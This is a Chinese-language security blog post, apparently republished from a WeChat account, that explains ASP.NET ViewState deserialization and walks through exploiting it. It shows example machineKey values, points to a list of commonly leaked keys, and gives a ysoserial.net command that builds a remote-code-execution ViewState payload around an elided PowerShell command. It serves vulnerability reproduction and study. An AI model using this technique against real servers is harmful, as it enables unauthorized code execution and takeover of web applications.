简单学习.net反序列化ViewState利用

admin 2024年3月8日23:42:04评论19 views字数 2360阅读7分52秒阅读模式
layout: post
title: "简单学习.net反序列化ViewState利用"
subtitle: "简单学习.net反序列化"
author: "Novocaine ^ Rand0m#[email protected]"
header-img: "img/post-bg-dreamer.jpg"
header-mask: 0.4
tags:
- .NET安全

0x01 前言

微信公众号催更了,如果再不更新就封号了QAQ

最近在复现一些经典漏洞,同时帮朋友挖一些cnvd,在复现.net相关漏洞时发现大部分rce场景现在也转移到反序列化层面,Exchange中也频繁出现ViewState字段反序列化的影子,所以简单学习并记录一下。

At the first,我先附上我学习该漏洞利用方式时参考的资料:

https://github.com/dotnet/AspNetCore.Docs
http://www.manongjc.com/detail/58-dcrpmivpcamblyj.html

利用工具:

https://github.com/pwntester/ysoserial.net

0x02 ViewState

在AspNetCore.Docs中这样解释:

https://github.com/dotnet/AspNetCore.Docs/blob/e98de861adaaaf63d178f7daccd9a645c0fbb98a/aspnetcore/security/data-protection/compatibility/replacing-machinekey.md?plain=1#L32

[!TIP]You can tell if the new data protection system is active by inspecting fields like __VIEWSTATE, which should begin with "CfDJ8" as in the example below. "CfDJ8" is the base64 representation of the magic "09 F0 C9 F0" header that identifies a payload protected by the data protection system.

<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="CfDJ8AWPr2EQPTBGs3L2GCZOpk...">

翻译:

您可以通过检查“__VIEWSTATE”等字段来判断新的数据保护系统是否处于活动状态,该字段应以“CfDJ8”开头,如下例所示。“CfDJ8”是神奇的“09 F0 C9 F0”标头的base64表示,用于标识受数据保护系统保护的有效载荷。

师爷翻译:

这玩意有用,关不了。


在.NET 1.0版本中 __VIEWSTATE使用的是base64加密方式,这意味着我们构造恶意的反序列化Payload几乎是没有门槛的。


在.NET 2.0版本中新增了ViewStateEncryptionMode属性,指明ViewState是否加密,在web.config中设定。


但是以上内容都不重要了,因为现在.net版本已经新太多了,然而ViewState问题依然存在,只不过利用门槛变高了而已。

0x03 Exploit

现在当我们想要使用ViewState反序列化来获取服务器权限,我们首先需要获得其构造加密的密钥,一般情况下这个密钥放在/web.config文件中,例如:

<httpRuntime targetFramework="4.5" />
   <machineKey decryption="AES" decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" validation="SHA1" validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />

其实找不到key也没关系,github有人收集了常见的Key:

https://github.com/yuanhaiGreg/Fuzz-Dict/blob/master/ViewState.txt


收集到Key就可以通过.net yso来生成payload(注意--path):

ysoserial.exe -p ViewState -g TypeConfuseDelegate --path="/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" -c "powershell -e ..."


生成出来的字符串扔到ViewState中就可以RCE了

End

.net中还有好多其他反序列化的利用方法,随着我复现也会慢慢研究更新。


原文始发于微信公众号(頭髪的特計):简单学习.net反序列化ViewState利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月8日23:42:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   简单学习.net反序列化ViewState利用http://cn-sec.com/archives/2561651.html

发表评论

匿名网友 填写信息